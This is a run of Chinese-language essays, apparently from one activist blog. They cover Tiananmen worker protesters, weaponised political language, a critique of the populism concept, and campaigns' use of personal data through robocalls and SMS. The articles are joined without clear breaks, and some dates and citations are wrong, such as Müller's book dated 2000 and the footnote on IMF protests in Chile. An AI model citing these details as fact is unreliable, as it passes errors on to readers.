但是，在目前的劳动条件下，产生另一波工厂占领的可能性极小，任何试图将民主重新引入经济领域的政治运动的出路都不明确。也许这就是天安门的最大遗产。在天安门广场外集会的工人们已经放弃了他们的工厂。尽管他们说的是旧式工人运动的语言，但他们像我们一样站立和斗争：在街头。他们是工人运动世界和我们今天生活的世界之间的桥梁，因此他们面临着我们所面临的同样的革命危机：巴布亚和巴勒斯坦的危机，哥伦比亚和伊朗的危机，缅甸和香港的危机，胜利就在地平线之外，但还无法把握。

我猜想，天安门的工人们现在还没有答案可以给我们。但是，期望从已离去的人们那里得到答案，对那些过去和现在为解放而牺牲的人来说，要求太高了。我们现在能做的就是找到我们自己的路，并将死者

的名字挂在嘴边，去建立那个他们为之奋斗的世界。○

Footnotes# “Tiananmen Square and the March into the Institutions.” *Chuang* Volume 2. June 3, 2019, https://chuangcn.org/2019/06/tiananmen-square-the-march-into-the-institutions/

- Gong Xiaoxia and Andrew G. Walder. 1993. “Workers in the Tiananmen Protests: The Politics of the Beijing Workers’ Autonomous Federation.” The China Journal. http://www.tsquare.tv/links/Walder.html
- Endnotes 4, 110.
- David Graeber, *The Utopia of Rules: On Technology, Stupidity, and the Secret Joys of Bureaucracy*. Melville House, 2015.
- Graeber, *The Utopia of Rules*, 87.
- Graeber, *The Utopia of Rules*, 87.
- Oskar Anweiler, *The Soviets: The Russian Workers, Peasants, and Soldiers Councils, 1905–1921*. Pantheon Books, 1975.
- Maurice Brinton, *The Bolsheviks and Workers’ Control 1917–1921: The State and Counter-Revolution*. 69. 1970.
- Brinton, *The Bolsheviks and Workers’ Control*, 70–72.
- Brinton, *The Bolsheviks and Workers’ Control*, 130.
- Endnotes 4, 97–98.
- Sam Dolgoff, *The Anarchist Collectives: Workers’ Self-Management in the Spanish Revolution, 1936–1939*. 102. Black Rose Books, 1973.
- The author thanks Vicky Osterweil for this observation. (Author’s personal correspondence.)
- Joel Andreas, *Disenfranchised: The Rise and Fall of Industrial Citizenship in China*. 64. Oxford University Press, 2019.
- *Hukou* is the household registration system used in China.
- “Sorghum and Steel: Development” *Chuang* Issue 1. 68. https://chuangcn.org/journal/one/sorghum-and-steel/2-development/
- Walder, Andrew G. “Rebellion and Repression in China, 1966–1971.” Social Science History Vol. 38, №3–4. 531–533. https://www.jstor.org/stable/90017046?seq＝1
- The world witnessed a brief resurgence of the classical workers’ resistance in the broad conglomeration of movements that comprised the resistance to the IMF in Chile

in 2001. There, the relative ideological continuity between the new left and the remains of the classical workers' movement meant that autonomist Marxist activists could move seamlessly between factory occupation and square occupation, though the forces of globalization had by then already gained too much ground post-Tiananmen.

- Gong and Walder, "Workers in the Tiananmen Protests," 1993.
- "Red Dust: Sinosphere." *Chuang* Volume 2. 401. https://chuangcn.org/journal/two/red-dust/sinosphere/
- "Red Dust: Sinosphere." *Chuang* Volume 2. 413. https://chuangcn.org/journal/two/red-dust/sinosphere/
- Carloff, Andy. (1923). "The Occupation of the Factories." *Life and Ideas: The Anarchist Writings of Errico Malatesta*. PM Press.

When communists crushed the international workers' movement

原文

当政治语言武器化 - iyouport

社会反抗和思考

【2019年5月24日存档】似乎将不喜欢的观点归结为”与我对立的意识形态”能让人感觉更踏实一些？意味着”我不需要反思自己的认识？” 我们不知道，但唯一可以肯定的是，政治分歧的激进化趋势一直在加速。 它的结果是什么？

我们收到的读者评论中经常有这样的表述：“你们这些左派/右派”如何如何。事实上我们既不是左派也不是右派或者中间派，我们只讲知识和技术，关于它本身是什么，而不是“我觉得它是什么”。

似乎将不喜欢的观点归结为“与我对立的意识形态”能让人感觉更踏实一些？意味着“我不需要反思自己的认识？” 我们不知道，但唯一可以肯定的是，政治分歧的激进化趋势一直在加速。

政治侮辱也许是政治分歧最明显的语言表现了。它们并不是什么新鲜事，但仍然应该对当今政治语言的痛苦分歧感到惋惜。像社会正义战士和 alt-right，gammon 或者 remoaner 这样的新术语并没有揭示不断变化的政治格局，就像黑暗中的回声一样。实际上，差异往往与原则上的分歧相关，而不是相互不理解。这比仅仅是侮辱要深刻得多。政治假设和偏见已经融入了我们日常谈论政治的方式。

投票支持英国退欧的人中并没有很多人会把它描述为一种怀旧的、内卷的国际合作退却。投票反对它的人中也没有很多人会把它描述为一个早就应该重新论证的大众民主。而且你可以通过要求人们描述欧盟本身来了解某个人的投票方式：一个无法解释的技术官僚机构，它扼杀了国家主权; 还是以规则为基础的国际联盟，促进贸易和维护人权？

当然，可以就欧盟是什么以及脱欧的意义达成一些协议—也许是在对措辞进行一些讨价还价之后—但政治上的分歧不可避免地反映在语言上。例如，我们都同意：“欧盟要求其成员国遵守某些基本规则和原则”。但是，这是一个好的、进步的事，还是一个坏的、反民主的事，取决于这些规则和原则是什么，谁来决定它们以及它们是如何被

执行的。当我们继续讨论这些问题时，语言可能会再次出现分歧。

同样，这也不是新鲜事。使用反映我们政治立场的词汇并表明我们对盟友的支持并没有什么不妥。当然，与使用和我们相同的词汇的其他人进行亲切的讨论更容易些。并且—对于回音壁和反馈回路的所有合理关注—与你同意的人交谈，与你说同一种语言的人说话本身也没有错。

甚至辩论本身并不总是试图改变人们的思想。有时它更多是在磨砺论证和坚定信念，为此，它有助于拥有共享语言。但即便如此，也必须对微妙的不同观点和理解持开放态度，这将以不同的方式反映出来。

无论我们是在朋友之间交谈还是与对手争吵，为了进行有意义的讨论，都必须表现出一定的慷慨精神。必须能够聆听和理解所说的内容，而不会贬低人们或将最坏的动机归咎于他们。与此同时，必须确保自己的语言不会不必要地侮辱或疏远与我们交谈的人。保持好奇心，对其他人的想法真正感兴趣，甚至—尤其是当它看起来很疯狂或者很糟糕的时候。

矛盾的是，通常看起来最受政治影响的人，以及认为自己非常政治化的人，实际上并不是在做政治。他们既没有改变思想，也没有巩固支持，因为他们退出了辩论。

几十年来，这种反政治在左翼学生政治中占主导地位。左翼的立场被认为是理所当然的，而不是经过认真的辩论。在20世纪80年代和90年代的英国，左翼反政治在某种类型的右翼学生中不知不觉地（或者可能是半有意识地）被模仿，模仿者只会通过咆哮来表述自己。

当然，今天所有这一切都可以在互联网上完成，甚至不需要参加会议。允许我们以新的方式与世界各地的人们进行辩论的相同技术也可以用来口头拒绝辩论。社交媒体因以政治名义使用的不节制和侮辱性语言而臭名昭著。但今天的反政治语言带有伪政治的理由。

对不文明语言的反对被视为口头警察，试图扼杀那些声称受压迫或为受压迫者说话的人的真实愤怒。“去他妈的文明”是常用口号。但是，这种情绪往往超出了表达正义愤怒的欲望：对于必须正确辩论的想法感到厌倦。

在实践中，这意味着“这件事显然是错误的，我不应该争论它”。同样的，那些赞同说话者的政治信念、试图巩固这些信念的正确性也会使它们免于辩论。它这不仅不能说服那些不同意的人，而且也无助于磨

练争论或坚定那些同意的人的信念。

一种类似的观点认为，教育你关于种族主义/性别歧视等问题不是我的工作。这种姿势的傲慢只会因其无能而被超越。至多，人们会假装与演讲者的位置一致，因为害怕被贴上偏执的标签。在最糟糕的情况下（对每个人而言）他们会以愤世嫉俗的方式回应，更明确的不礼貌。

我们这些相信政治价值和有意义的政治语言的人不一定是圣徒。在最好的情况下，刺激性的讽刺可以让我们以不同的方式思考，而不仅仅是为了得分。但应该警惕双方互相投诉的辩论，甚至是在不了解对方的利害关系的情况下。如果政治语言能够被不同意所说内容的人完全理解，那么政治语言就是最有效的。当它变成武器时，往往只会放空枪。

原文

您可能误会了的民粹主义（上）：民粹主义并非问题 - iyouport

社会反抗和思考

【2021年5月11日存档】这个概念的存在只是为了掩盖真正的问题根源

【按】很多政客和政治评论家就像江湖游医一样，唯一的本事就是给每种病/每种社会愤怒起个名字，这个是a主义、那个是b主义，他们懒得思考人们的愤怒是怎么来的，更不用说解决问题（治病）了。

当一大群维基百科上鼎鼎大名的政治学者都在使用同一个概念时，人们就会更加难以意识到这个概念是如何的混沌，甚至虚伪；这个概念的存在只是为了掩盖真正的问题根源。

对民粹主义的误解也在中国十分流行。希望这两篇文章能帮助您摆脱宣传中的误导。

文章的作者是康奈尔大学政治理论教授 Jason Frank。

人们用来框定自己对政治世界的理解的概念总是与他们所要描述的政治有关。这些概念使政治背景的某些方面变得清晰可见，同时，又完全掩盖或隐藏了其他方面。

例如，当美国宪法的倡导者宣称自己是“联邦主义者”、而把他们的对手贴上“反联邦主义者”的标签时，他们不仅低估了自己对巩固国家权力的承诺，而且还把政治辩论的框架转向了适当的制度形式，而不是革命后商业精英和新获得权利的民众阶层之间的社会冲突。

这是政治中一个反复出现的主题，但语言的本质及其与政治的关系在危机时期变得尤为生动和紧迫，因为新出现的政治形式挑战着“政治常态”以及我们用来驾驭熟悉地形的概念。这些时期要求我们对我们所依赖的政治范畴进行更多的反思：它们揭示了什么，又掩盖了什么。

“民粹主义” 就是这么一个概念，它是学者和记者们用来描述我们这个时代新出现的专制主义及其对自由民主所造成的危险的常用术语。越来越多的会议、座谈会、书籍和专栏文章，致力于解释民粹主义在加速民主衰落中的作用，这是很难一一列举的。这些异曲同工的标题 —— 如史蒂文·列维茨基 (Steven Levitsky) 和丹尼尔·齐布拉特（Daniel Ziblatt）的《民主国家如何死亡》（2018年）、亚沙·穆恩克（Yascha Mounk）的《人民与民主》（2018年）、威廉·加尔斯顿 (William Galston) 的《反多元主义：民粹主义对自由民主的威胁》（2018）……等等，都揭示了这一广泛被认同的论点。正如民粹主义论题最雄辩的倡导者之一 Jan-Werner Müller 在《什么是民粹主义？》(2000) 中写道：“今天对民主政体的危险并不是某种系统性否定民主理想的综合意识形态；危险是来自民粹主义 —— 一种民主的退化形式，它承诺要兑现民主的最高理想”。

对于 Müller 和其他著名的民粹主义论者（我们可以把大卫·弗鲁姆和卡斯·穆德也加入上述名单）来说，民粹主义使特朗普和查韦斯、欧尔班和莫拉莱斯、埃尔多安和洛佩斯·奥夫拉多尔等不同的领导人，以及西班牙的波德莫斯和美国的茶党、希腊的Syriza和德国AfD、意大利的五星运动和英国的国民阵线等不同的政治运动和政党对民主构成的“共同危险” 成为焦点。

但是，我们如何看待这么一个能够将如此意识形态两极分化的领导人、运动和政党紧密联系在一起的概念？

正如罗杰·科恩（Roger Cohen）在最近的一篇《纽约时报》专栏文章中所论述的那样，没有多少联系。他敦促同行的评论员们放弃对这个词的使用，因为它 “已经变得草率到毫无意义的地步，只是对政治愤怒的多种表现形式的太过粗略的形容”。

然而，问题不只是粗略和模棱两可，也不只是大都市精英们的不屑一顾的懒惰，他们似乎无法拿出精力来寻找更精确的词汇 “去描述当前的政治现象”。

问题不仅仅是概念上的不精确，而是政治上的混淆。民粹主义的指控不仅混淆了人们对反建制领导人和运动所提出的具体主张的理解，而且，阻碍了人们对民主衰落的更为长期和持久的原因的思考。

对民粹主义的指控至少能让我们了解提出指控的人的情况，也能让我们了解其对手的情况，在当代政治背景下，民粹主义固有的模糊性在从曾经的霸权自由主义的困境中阐述时，具有明确的论战意义。对民粹主义的一概指责，警戒了 “政治常态” 的边界，也警戒了 “合法合

理” 的政治言论的参数。

民粹主义论调的拥护者强调其专制的危险性，却悄悄地将民主衰落的更持久的结构性根源问题推下台面，如定义了全球新自由主义时代的财富和权力高度集中化导致的急剧增长的不平等，曾经的公共产品的市场化和民主问责程序的不断被侵蚀，以及金钱在政治生活中不受约束的作用，进一步保证了这些恶性进程的不断强化。

这些更持久的导致民主衰落的根源，以及由此产生的被安东尼奥·葛兰西（Antonio Gramsci）优雅地称为 “灾难性平衡 “的动态权力下放，可以说首先导致了这些专制运动的出现。而民粹主义一词方便地促进了这种对根源问题的回避。Antonio Gramsci

罗杰·科恩并非孤例。大多数关于民粹主义的讨论都是从注意到这个词固有的模糊性开始的，这使得美国民粹主义最伟大的历史学家和批评家之一理查德·霍夫施塔特 (Richard Hofstadter) 在1967年的一篇会议论文中，将其命名为 “每个人都在谈论民粹主义—— 但没有人能够定义它”。

虽然大多数人都同意民粹主义在意识形态上的灵活性，但围绕着民粹主义与其他政治形式的区别是什么的问题，大家的共识出现了分歧。它是一种特殊的政党组织和选举动员形式？还是一种社会运动和争议性政治的范例？它是一种政治修辞的风格，还是一种连贯的、尽管是 “中心薄弱” 的意识形态？

在所有的分歧中，最具影响力的民粹主义理论家 —— 已故的厄尼斯特·拉克劳—— 将模糊性置于其中心，并认为民粹主义的理性等同于 “空洞能指” 的逻辑，这并不奇怪。

民粹主义固有的模糊性有助于解释在当代讨论中对该词的使用常常是模糊的或包罗万象的，但是，更多的反思性描述通常承认，民粹主义虽然在意识形态上具有灵活性，但并不是完全开放的。民粹主义是围绕着一套明确的规范性承诺组织起来的语话。最明显的是，民粹主义产生于对人民主权的承诺、对人民是公共权威的最终基础、对这种权威的政治诉求可以超越民主代表制的正式制度。

民粹论的倡导者强调民粹主张代表道德纯洁和团结的人民，反对腐败的、没有代表性的精英的统治权力。民众的意志可以在宪政国家的体制之外得到确认的观点，为民粹主义领袖要求独占民众权威的衣钵，对抗所有竞争的政治派别创造了条件。我们经常被告知，民粹主义的核心主张是，只有部分人民才是真正的 “人民”，而代表他们行事的是

民粹主义领袖。

这一基本主张导致了与民粹主义相关的非自由主义民主，以及对民主多元主义基本要素的拒绝。在执政时，民粹主义对绝对的民众权威的呼吁导致了对三权分立、司法独立、合法的政治反对派以及自由宪政的其他非正式和正式规范的拒绝。这些评论家常常认为，政治的个人化不是民粹主义的偶然，而是它的基本要素，因为只有通过民粹主义领袖的讨伐，人民的意志才能对腐败的统治精英进行报复，把权力还给人民自己。

在考虑这幅熟悉的民粹主义画像及其对民主的危险性时，值得记住的是，民粹主义这个词进入英语是为了描述19世纪的一场政治运动，它诞生于对美国第一个镀金时代的寡头经济和政治秩序的反抗斗争。

- 不要错过《垄断与民主：如何结束镀金时代》

在著名的民粹主义者威廉·詹宁斯·布莱恩（William Jennings Bryan）在1896年民主党全国代表大会上发表著名的“黄金十字架”演讲之前的20年，农民联盟就成为了美国民粹主义的平等主义核心。在整个19世纪80年代，数十万男女参加了这个纵横交错、明确无等级的合作组织网络，这些组织活跃在43个州和地区。美国的民粹主义远非凯撒主义的专制个人主义政治，正如劳伦斯·古德温所写的那样：

首先，也是最重要的是， 一个合作运动，传授自我价值感给个人，并为他们提供了自我教育的工具，关于他们所生活的这个世界。这个运动给了他们希望—— 一个共同的希望 —— 他们并不是被他人统治的巨大工业引擎的无个性受害者，相反，他们是可以进行具体的自决行为的人民。

这种民粹主义对新的民主形式的实验 —— 以及理解和集体解决人们生活的贫困状况的持续努力 —— 定义了美国民粹主义的激进民主现实主义。在既有的治理体制之外产生民主力量、建立“合作的联邦”的斗争，催生了民粹主义的概念 —— 这个起源故事被我们当代对“民粹主义和民主衰落”的关注所抹杀。事实上，在《什么是民粹主义？》中，Müller 有些尴尬地承认，“美国历史上明确自称‘民粹主义’的第一个政党其实并不是民粹主义”。

然而，问题的关键并不是要通过诉诸原始含义的权威来解决民粹主义的语义模糊性。相反，在从这段历史中找到方向的同时，我们应该研究民粹主义的指控在当代政治辩论中是如何运作的，特别是，它给民主带来的危险和它所掩盖的危险。

如果把重点放在民粹主义作为民主衰落的主要根源上，那么过去四十年来最深刻地破坏民主体制和民主公民意义的经济和政治发展就都会被掩盖。

更糟糕的是，民粹主义已经成为所有代表恢复集体权威和政治控制感而挑战这些发展的运动的标签，无论这些运动是来自种族主义和仇外的右翼还是激进的平等主义左翼。

不管特朗普、埃尔多安、欧尔班等人如何定义，专制主义试图集中和扩大国家的行政权力，并对“人民的敌人”使用这种权力，但绝不应等同于波德莫斯或农民联盟的激进民主制度实验。应更多地关注这些不同运动对“人民”的设想，以及他们如何提出以民主方式颁布的人民权力。

将民粹主义指定为最能概括当今世界许多地方专制主义对民主政治构成的危险的术语，还有一个不幸的后果，即 表明对这些运动的广泛抵抗本身不应该是民粹主义的，不应该自称“我们人民”，不应该参与关于我们是谁以及我们应该行使何种集体权力的对抗性政治。

这场政治运动不需要恢复和团结在民粹主义这个名词周围 —— 民主社会主义已经在享受阳光下的新一天 —— 但它应该公开承认，回到“政治常态”可能不足以面对民主国家目前所面临的全部危险的基本认知上。民主的捍卫者不能放弃人民的权威，否则就会破坏他们声称要为之奋斗的目标。〇

——未完待续 ——

Populism Isn’t The Problem

原文

您的所有个人数据都是政治数据：走向民主之前需要了解的事 - iyouport

你应该了解的现实监视资本主义的世界社会反抗和思考让它民主-公民掌握真相的技巧和技术

【 2020年12月3日存档】对于尚且没有经历过真正民主的国家来说，比如中国，将有很多机会去获得真正的、好的民主，前提是公民能准确判断什么才是好的民主 —— 尤其是如何避免操纵干预

【注】干预选举的方法有多少种？这要看您如何定义干预了。如果您采用 “干预” 的基本概念，即 施加影响以改变一件事自然发展的可能性结果，那么它的方法可以有无数种。

但是别忘了，这个世界现在已经深刻处于数字时代，包括干预在内的一切行为都将高度依赖数字技术和现代科技，同时一些传统的老笨的手段正在被淘汰，因为它们太容易被抓到把柄了。

这篇文章是希望重申这一状况，它描述的是一种最基本的干预手段 —— 关于数字时代的民主最常见的问题。

📌 我们曾经在《投票可能正是民主的问题》中已经提出过这些思考，并且在《看不见的独裁》中介绍了干预的另一个手段：搜索引擎选举干预；尤其是在《没有政客的政治》介绍了一种数字时代新民主形式的实践，它可以避免这种干预。

随着旧的民主的衰落，最近几年来对新型民主形式的思考和实践是一个非常热门的研究课题，很多政治学者致力于寻求方法帮助民主获得重生，以抑制专制独裁的再次崛起。我们也推荐过一些相关的书目；对于尚且没有经历过真正民主的国家来说，比如中国，将有很多机会去获得真正的、好的民主，前提是公民能准确判断什么才是好的民主 —— 尤其是如何避免操纵干预。

这就是制作这篇文章的目的。它将弥补以上内容中没能充分强调的一

部分，也是最普遍被实施的一部分，关于：您的所有个人数据都是政治数据，是被当权者用来干预选举的工具。

下面回顾一些书：

关于数字化信息时代的政治心理操纵有多么的容易，下载：《任何事都能撕裂你们，这可能是有原因的》。

下载：《社交媒体是如何分化社会并破坏民主的？》

人们常说，解决社会分歧的方法就是多花时间与“对立面”的人接触。但塔利斯建议，要有意识地参与那些完全不受政治信念驱动的社会活动，这要如何做到？下载：《当下的新闻如何威胁民主》。

代议制民主的时代正在过去，一个新型的“后代议”民主已经诞生，并在整个民主世界伸展蔓延。这一历史变迁的标志就是我们定义和评价民主的方式；下载《旧的民主死了，新的民主将是什么样？》。

相关书籍还有很多，如果您看到好的作品并且IYP没有提供过，非常欢迎您与我们联系！

下面的文章中介绍的是监视资本主义数据经济在选举干预中的作用，是一项调查工作 —— 显然这里指的是以本土为目标的政治目的；但您需要记得，它的用途远不限于本土，还包括作为地缘政治斗争的工具。您可以在这里看到详细分析：《所有信息都是战略性的：信息地缘政治》。

您的手机、平板电脑、电脑、下载的应用程序、使用的社交媒体平台、以及访问的网站，都是您固有的个人隐私；这些技术让您有能力选择观看、收听和阅读哪些内容 —— 内容可以是您可能想象到的任何东西。

但是，在所有这些在线技术中，谁在捕捉您的习惯和偏好的私密个人数据？谁在使用这些数据？还有谁在定制您看到的内容？为了什么目的？他们会不会利用您的个人喜好来达到政治目的？

随着人们越来越多地依赖数字技术，政治竞选活动也早已进入了数字领域。在许多情况下，它是以您看不到或没有意识到的方式进行的。

- 推荐 ~ 关于数字时代的选举《国王们的晚宴—— 这是一场看不见的政变》

这并不是简单地看到一个广告弹出在您的时间线上且能够识别它是否是一个政治信息的情况。没那么简单。📌 这里有一系列隐蔽的、无孔不入的和有说服力的手段，被用来左右每个人的观点。

还记得剑桥分析公司是怎么做的吗？这类公司已经是一个蓬勃发展的庞大产业，远非一两家的案例。在这里看到他们的内幕：《心理操纵的秘密："行为经济学"＋PR＝？》。

政客们为什么能够如此有效地做到这一点？ —— 正是通过利用他们长期收集的关于您的行为心理特定的数据。这就是为什么我们在 "监视和操纵" 专栏中的注解中写道："监视是为了操纵，不只有放弃隐私那么简单"。

全世界的政客和政党都在使用营销、统计和心理学领域的工具和技术来推进他们的议程、宣传他们的竞选活动、并在网上影响选民。这就是新的政治运作模式。

虽然剑桥分析公司和 Facebook 的丑闻将这一问题带入了公共领域，但是，这两家公司远不是唯一利用个人数据进行政治操纵的公司。还有很多家鲜为人知但同样具有影响力的公司和实体，一直在利用个人数据获取政治利益。

而因剑桥分析公司丑闻被推到聚光灯下的所谓 "心理测评" 仅仅只是这些公司正在使用的众多强大的数据驱动技术干预政治的手段之一，而已。

事实上，人们对这个采用数字竞选技术的庞大行业仍然知之甚少，这些技术通过分析和利用他们收集的公民的私密数据来左右公民的政治观点。也很少有监管或商定的所谓最佳做法。

Tactical Tech 是一家总部位于柏林的国际非政府组织，它希望超越Facebook和剑桥分析公司，研究利用个人数据推动政治活动和获得政治权力的多种工具和方法。

为此，Tactical Tech 的研究旨在帮助选民、政策制定者和其他人了解和识别个人数据究竟是如何转化为政治影响力的。

Tactical Tech 的数据与政治团队发现并研究了许多数字和数据驱动的方法，包括：语音自动电话、候选人发布的移动应用程序、以及利用地理位置信息锁定选民 …… 等等。

当人们对所使用的技术的广度、深度和规模不完全了解时，很难对这

一新行业进行立法和监管。通过研究和了解这个由行为者、方法和独特的选举背景组成的复杂行业，选民、政策制定者、记者、监管者、政治竞选者和技术公司，可以就个人数据和政治之间的关系形成明智的意见和决定。

Tactical Tech 与世界各地的合作伙伴合作，收集了从墨西哥、马来西亚到肯尼亚等很多国家的具体选举信息。📌 这项全球性的研究发现，政治“影响力产业”的范围远远超出了美国或英国的案例，这些案例往往在媒体的叙述中占据主导地位。

Tactical Tech 记录了从选民个人数据中提取政治价值的不同技术方法和实践，确定了全球**300多家**以公众不了解的方式收集个人数据用于政治目的的公司。

在合作伙伴的帮助下，他们编写了一份全面的报告，对这一影响力产业的“谁”、“什么”、和“如何”进行了独特的全球比较性概述。该报告帮助民间社会行为者、政策制定者和记者识别不同形式的网络政治影响力，并帮助其他研究人员和学者将讨论范围扩大到地方、国家和国际层面的普通公众。

加拿大维多利亚大学的 Colin Bennett 教授引用了 Tactical Tech 的报告《个人数据、政治说服力、内部影响力行业》，称其为“迄今为止关于个人数据使用和数据监控的最全面的比较分析”。

Bennett 指出了 Tactical Tech 调查的全球范围的重要性，他说：“它提醒了大家，不仅仅是美国参与其中，还有更多公司在全球范围内积极推销他们的产品。这份报告是在关键时刻的宝贵总结。”

特别值得 Bennett 注意的是14个国家的研究报告，“这些研究报告提供了宝贵的经验证据，证明这种情况正在许多国家的不同平台、不同社交媒体上发生 —— 重要的是，这些国家有着不同的文化、人口结构，或许还包括对隐私有着不同的期望。Tactical Tech 帮助将有价值的材料带到了当地。”

Bennett 教授列举了一个例子，说明在2019年的数据保护和隐私专员国际会议（ICDPPC）上，如何利用 Tactical Tech 的调查工作将这一关键问题带到国际政策领域。该会议的目的是影响政策制定者，使他们认识到监管者需要开始认真考虑对政治行为者进行监管。

这份报告也为各种政治机构的关键人物提供了信息和启示。Tactical Tech 向英国内阁办公室和上议院提交了该报告及其主要结论。在上

议院的辩论中，Tactical Tech 的研究也多次被引用。英国独立机构“宪法协会”则表示，“从关于过去选举的报告中可以学到很多东西；这些报告包括 Tactical Tech 的数据和政治项目，其中有来自世界各国的例子”。

【注：The Constitution Society 是一个独立的、无党派的教育信托机构，位于英格兰威斯敏斯特附近。成立于2009年，旨在促进公众对英国宪法的理解，并致力于鼓励立法者，学者和公众之间就宪法修改建议进行明智的辩论。】

比利时布鲁塞尔的非政府组织 Eap CSF是另一个这样的组织。2018年，他们邀请 Tactical Tech 在他们的 DataFest 会议上做了一次演讲。EaP CSF 开发新数字内容的专家 Iryna Velska 说，“这个问题对我们的听众来说是全新的，它让人大开眼界，明白了这是如何运作的，并且承认了它的严重性 …… 大家一致认为这种事一定会在我们国家发生。就影响而言，这是我们最成功的一次谈话。”

Velska 解释道，“我们的研究员要求更多关于数字如何改变社会的信息 …… 拥有像 Tactical Tech 这样精通数字技术的人是很重要的，他们可以批判性地审视数字进程、社交媒体、假新闻和选民数据的使用、以及政治人物如何利用这些数据来影响所有人。我们的活动人士从第一次听说这个新趋势到现在已经有好几年了，现在正处于‘我们能做什么’的阶段。”

Tactical Tech 在这一新兴领域中的作用也是为调查这些问题的记者提供支持和专业知识，就如 Louise André Williams 所言，“它的独特之处在于 … … 它结合了精确的、高质量的信息，并且得到了很好的展示和解释。作为一名记者，要调查这个新出现的问题真的很难，因为它是如此庞大和多样化。找到像 Tactical Tech 这样的报告 …… 就像找到了一座金矿。我已经向其他记者同行和电影制作者推荐 Tactical Tech 的网站和报告。”

Williams 目前正在为广播公司 ARTE 制作一部长篇纪录片，该片将研究选民数据的话题，以及国际上政党和候选人如何使用这些数据。

“与 Tactical Tech 的团队交谈，让我对这一主题有了一个概述，让我了解了全球范围内使用的工具，也让我深入了解了具体公司和网站的细节。Tactical Tech 帮我与相关人员取得联系，并为我提供了纪录片所关注国家的具体组织和联系方式”，他说。

在地方一级，Tactical Tech 与世界各地从事互联网政治和数据隐私工

作的主要数字权利团体、律师、学者和记者合作。他们一起详细研究了世界各地政治制度的具体做法，并编写了14份国家研究报告。

其中一个例子是阿根廷的 Asociación por los Derechos Civiles (ADC)，他们与 Tactical Tech 合作编写了关于阿根廷选举中使用数据驱动竞选的报告。

通过对阿根廷选举中微目标的探索性分析，ADC 发现阿根廷的选举司法系统没有足够的资源来控制政党在网络选举广告上的支出。

为此，ADC启动了自己的项目，名为 PubliElectoral，并开发了一套系统，可以追踪来自社交媒体平台的政治广告，同时维护个人隐私。

然后，他们可以将自己的数据与 Facebook 广告库和官方记录的竞选支出报告进行对比，看是否匹配。

ADC 现在还在游说谷歌、Facebook 和 Twitter 在拉美地区分享他们的广告库。ADC 的 Marianela Milanes 说，“Tactical Tech 的工作对我们的项目极为重要。调查的过程和结果对这个项目起到了启发作用。此外，在数据与政治研究项目的原始框架中发布的文件正是目前 PubliElectoral 工作的背景。”

- 📌 推荐一个重要的内容，把调查技巧教给您《ad.watch—深入政治宣传的背后：关于要完成这项调查工作您应该知道的事》

Tactical Tech 的工作突出了数字技术用于政治目的的普遍性，并影响了围绕这一主题的叙述，以说明数字影响机制的多样性。由于在国家和国际层面的工作，这项基于证据的研究正在被用来动员变革。该报告提高了人们的认识，使这一心理操纵产业受到新的监督。

📌 下一次当您在手机、应用和社交媒体平台上滚动消费新闻和信息时，您应该花时间考虑一下：您是如何被影响的？这些信息是否正在把您引导到某个方向？有多少内容是专门针对您提供的？这些公司和政党又是如何被监管和问责的？……

这种利用每个人的个人数据进行的有针对性的宣传活动并不是大公司建议您购买一双新的运动鞋这么简单；它是针对您的希望和恐惧进行微妙和高度定制的信息灌输，以操纵您，从而影响民主选举。

Tactical Tech 的工作在全球范围内不断证明，如今我们每个人所有的个人数据都是政治数据。

下面我们摘录 Tactical Tech 报告的一部分。

什么是自动语音呼叫和移动短信？

「图」

如今，选民数据越来越容易获得，这为自动语音呼叫和手机短信服务提供了更多的方式来接触和分析选民。这些工具还可用于收集选民的其他数据，如 他们参加竞选活动的可能性、或他们对某一特定问题或候选人的立场。

自动语音呼叫 —— 后面将称之为电话劫持：这种服务会自动拨打输入的电话号码清单，以便发送预先录制的信息，或者在技术更先进的情况下可以进行现场通话。此外，这些先进的功能还可以通过用作调查和民意测验来增强对选民的细分。它是竞选活动中宣传候选人或政党的重要工具。

移动短信：与电话劫持一样，手机短信被用来直接向选民的手机或电子设备播放政治信息或行动呼吁。竞选活动还可以使用 **WhatsApp** 或其他点对点短信工具，群发信息，以及对选民进行调查。

您的数据是如何被使用的？

「图」

打电话和发短信的目的都是通过使用您最有约束力的个人数据之一：您的电话号码，尽可能直接联系到您。为了快速且符合成本效益地建立直接的关系，政治竞选活动通常将其内部选民档案或购买的数据提供给数据驱动的服务提供商，由后者帮助他们自动拨打电话和发送短信。

这些公司中的许多公司还出售 **精选**的选民电话号码数据集 —— 也就是他们认为最容易被操纵也最值得去操纵的人。许多国家的竞选活动在其外联活动中依靠这些服务，特别是那些使用 WhatsApp 等大型即时通信平台的竞选活动。

数据驱动的服务正在成为现代竞选活动的技术支柱。因此，这些服务往往已经被整合到提供商的产品中了。例如，**RoboCent** 公司直接在宣传中写着 “可靠的选民数据，每条记录只需**3**美分”，包括全名、完整地址、政治面貌 (从党员到群众) 、年龄、性别、投票管辖区、电子邮件地址、固定电话和手机号码，以及人口统计信息，如种族、年

龄、使用的语言、教育程度等。RoboCent 网站上的选民数据请求的屏幕截图，其中包含用于位置跟踪、基本个人资料和电话号码的过滤器。来源：RoboCent

短信服务与此类似，它们也从现有的选民名单或其他来源的选民档案中获取和利用手机号码。uCampaign、RumbleUp 和 Relay 等服务都宣称可以在短信活动中使用用户的联系人名单，甚至可以联系 “可能成为你的事业捐助者/支持者的个人”。

这些服务还可以为政党提供电话号码。例如，Relay 允许从选民档案和选民数据库的第三方供应商导入数据，如 NGP VAN和 Political Data Inc.

电话劫持和短信服务都建立了双向对话，帮助候选人从他们所接触的选民那里收集更多信息。这两种方法都是为了收集选民数据，并对选民进行细分和量化，以增强候选人的利益。

这些技术的目的是让选民参与对话，并通过预先设定的问题了解更多关于选民的观点，这些问题可以由人、机器或两者结合提出。自动电话可以通过要求电话接收者使用键盘或语音回答问题来实现民意调查。这些数据可以被快速处理，以增强竞选活动和选民数据平台（如 **NGP VAN**）的数据资产。

在短信领域，以 Upland Software 的移动短信产品为例，它有一个 ‘告诉朋友’ 的功能，至少在一个政治活动中使用过，‘如果一个人发短信输入了自己朋友的电话号码，这些联系人就会被加入移动名单’。

Callhub.io 的短信营销软件宣传了一个基于短信的 “广泛” 数据收集方案，该软件将 “通过一系列互动短信自动收集[选民]信息，并为每个支持者建立详细的联系档案”，以及其他几种方法自动收集和分析用于竞选的数据。CallHub 宣传的通过短信服务获取选民数据的技术的说明。来源：‘SMS数据收集’

一些例子

「图」

1、在加拿大

「图」

